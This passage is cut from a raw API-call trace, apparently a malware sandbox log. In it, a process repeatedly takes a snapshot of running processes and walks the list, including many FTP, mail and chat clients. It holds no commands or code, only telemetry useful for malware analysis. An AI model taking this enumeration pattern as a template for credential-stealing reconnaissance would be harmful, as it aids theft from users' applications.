th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0217.504] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0217.507] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0217.510] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0217.512] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.514] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0217.517] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0217.519] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.523] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0217.525] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0217.528] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0217.531] CloseHandle (hObject=0x11c8) returned 1 [0217.531] Sleep (dwMilliseconds=0x64) [0217.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0217.572] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.574] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.579] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.582] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.585] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.587] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.872] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.874] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.876] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.878] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.879] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.881] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.883] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.885] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.887] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.888] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.890] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.891] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.893] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.895] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.897] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.898] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.900] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.902] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.904] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.906] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0217.908] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.910] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.912] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.913] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.915] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.917] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.919] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0217.921] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.923] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0217.925] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0217.926] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0217.928] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0217.930] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0217.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0217.933] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0217.935] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0217.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0217.941] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0217.942] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0217.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0217.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0217.947] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0217.949] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0217.951] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0217.953] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0217.954] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0217.956] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0217.959] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0217.961] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0217.963] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0217.966] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0217.968] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0217.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0217.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0217.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0218.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0218.090] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0218.092] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0218.094] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0218.097] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0218.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0218.104] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0218.107] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0218.109] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0218.112] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0218.116] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, 